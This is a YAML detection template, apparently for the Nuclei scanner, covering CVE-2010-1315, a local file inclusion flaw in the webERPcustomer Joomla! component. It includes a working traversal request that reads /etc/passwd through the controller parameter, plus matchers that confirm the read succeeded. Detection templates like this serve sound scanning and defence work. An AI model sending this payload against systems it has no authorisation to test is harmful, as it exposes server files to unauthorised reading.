id: CVE-2010-1315

info:
  name: Joomla! Component webERPcustomer - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in weberpcustomer.php in the webERPcustomer (com_weberpcustomer) component 1.2.1 and 1.x before 1.06.02 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11999
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1315
    - http://packetstormsecurity.org/1004-exploits/joomlaweberpcustomer-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57482
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1315
    cwe-id: CWE-22
    epss-score: 0.08233
    epss-percentile: 0.94326
    cpe: cpe:2.3:a:joomlamo:com_weberpcustomer:1.2.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlamo
    product: com_weberpcustomer
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,joomlamo,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_weberpcustomer&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220480acc96d016f649f06597944c284b99f4d9e841f837c9d8a933e5bf17825949022100e97031959fe93b82f6f0f0dad586af01ff99f73281ae32a86b0cdb4da0c9399f:922c64590222798bb761d5b6d8e72950